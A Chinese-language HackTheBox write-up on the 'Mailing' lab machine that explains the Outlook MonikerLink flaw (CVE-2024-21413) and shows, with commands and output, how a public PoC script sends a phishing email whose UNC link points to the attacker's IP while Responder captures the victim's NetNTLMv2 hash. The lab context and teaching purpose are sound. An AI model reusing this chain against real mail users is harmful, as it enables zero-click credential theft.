在打 HackTheBox (HTB) Season 5 的 easy Windows 靶机"Mailing"时,我遇到了一个有趣的漏洞利用场景:CVE-2024-21413。这是一个针对 Microsoft Outlook 的远程代码执行 (RCE) 漏洞,常被称为"MonikerLink" bug。它允许攻击者通过精心构造的电子邮件超链接,在受害者仅预览邮件时(无需点击)触发认证行为,从而捕获 NTLM 哈希。在 Mailing 靶机中,这个漏洞成为取得初始立足点的桥梁。故本文记录一下漏洞原理和利用过程。
前情回顾
Mailing 靶机模拟了一家邮件托管公司的域控制器环境,运行 hMailServer 作为 SMTP/IMAP/POP3 服务器,并暴露一个易受路径遍历攻击的 PHP 网站。
我首先通过文件遍历读取配置文件拿到了邮件管理员的密码:
随后,漏洞利用聚焦于邮件服务,发送恶意邮件给域用户,诱导其 Outlook/Windows Mail 客户端泄露哈希。
漏洞原理:MonikerLink Bug (CVE-2024-21413)
CVE-2024-21413 是一个高危 RCE 漏洞(CVSS 8.8),影响 Microsoft Outlook 2016-2021 版及 Microsoft 365 Apps(32/64 位)。其核心问题是 Outlook 在处理超链接时的输入验证不当,导致 OLE (Object Linking and Embedding) Moniker 系统被滥用。
详细机制
- 触发向量:攻击者发送一封嵌入恶意 HTML 超链接的邮件。当受害者在预览窗格(Preview Pane)中查看邮件时,Outlook 自动解析链接,而无需用户交互。
- 绕过防护 :漏洞利用 Moniker 链(一种 COM 对象解析机制),通过
IWebBrowser2
接口实例化漏洞 COM 对象,绕过 Office Protected View(沙箱)和 ASLR(地址空间布局随机化)。这允许在 Outlook 进程(中等完整性级别)中执行任意代码。 - payload 设计 :在完整 RCE PoC 中,链接可调用
cmd.exe
或投放恶意负载。但在 NTLM 继电器攻击中(如 Mailing 场景),链接使用 UNC 路径(\\attacker-ip\share
),诱导 Windows 尝试 SMB 认证。如果受害者域策略禁用"签名或密封请求"(常见于测试环境),系统会泄露 NetNTLMv2 哈希。 - 影响范围:未打补丁的系统易受攻击,可能导致凭证窃取、横向移动或持久化。微软于 2024 年 2 月发布补丁,建议立即更新。
这个漏洞的零点击特性使其特别危险:在域环境中,仅需受害者打开邮件客户端即可中招。
漏洞利用:发送恶意邮件
利用基于 GitHub 上的 PoC 脚本(ThemeHackers/CVE-2024-21413),这是一个 Python 工具,用于通过 SMTP 发送构造邮件。脚本使用 Stripo.html 模板嵌入恶意 UNC 链接,模拟钓鱼邮件。
前置准备
-
克隆仓库 :
git clone https://github.com/ThemeHackers/CVE-2024-21413.git cd CVE-2024-21413
-
配置 SMTP 凭证 :从靶机枚举中获取管理员邮箱和密码(administrator@mailing.htb / homenetworkingadministrator)。创建
config.ini
:[email_credentials] sender_email = administrator@mailing.htb sender_password = homenetworkingadministrator smtp_server = mailing.htb smtp_port = 587
-
准备模板 :在
template
目录下放置Stripo.html
(仓库提供),这是一个 HTML 模板,用于隐藏 UNC 链接。 -
启动 Responder :在攻击机上监听 SMB/HTTP 以捕获哈希:
sudo responder -I tun0 -wrf
(tun0 为 VPN 接口,-wrf 启用 WPAD、SMB 和 HTTP 毒化)。
利用步骤
运行脚本:
python CVE-2024-21413.py
脚本进入交互模式,显示当前设置:
CVE-2024-21413 > show
Current Settings:
sender_email: administrator@mailing.htb
sender_password: ***************************
smtp_server: mailing.htb
smtp_port: 587
subject:
link:
count: 1
recipients: []
帮助命令:
CVE-2024-21413 > help
Available Commands:
set <option> <value> - Set configuration options
Options:
subject <text> - Set email subject
link <url> - Set link in email
count <number> - Set number of emails to send
show - Show current settings
add <email> - Add recipient email
load <file> - Load recipients from file
send - Send emails
clear - Clear screen
exit - Exit program
配置并发送:
CVE-2024-21413 > set subject Test
Set subject to Test
CVE-2024-21413 > add maya@mailing.htb
Added recipient: maya@mailing.htb
CVE-2024-21413 > set link '\\10.10.14.54\test\a'
Set link to \\10.10.14.54\test\a # 10.10.14.54 为攻击机 IP
CVE-2024-21413 > send
Starting to send emails...
Email sent successfully 1 to maya@mailing.htb.
邮件发送成功后,受害者(Maya 用户)在 Windows Mail/Outlook 中预览邮件,客户端尝试访问 UNC 路径,触发 SMB 认证。
Responder 捕获
几乎立即,Responder 日志显示:
[SMB] NTLMv2 Challenge/Response Client : ::ffff:10.10.11.x
[SMB] NTLMv2 Challenge/Response Username : MAILING\maya
[SMB] NTLMv2 Challenge/Response Hash : maya::MAILING:1122334455667788:...

捕获的 NTLMv2 哈希可用于离线破解(Hashcat)或继电器攻击。
小结
通过这个挑战,我学到了 MonikerLink 的深层机制以及 SMTP 邮件发送(587端口)的相关知识。推荐初学者参考 HTB 官方机器页面和社区 writeup 复现。如果你正挑战 Mailing,记得添加 /etc/hosts
条目!有疑问欢迎讨论。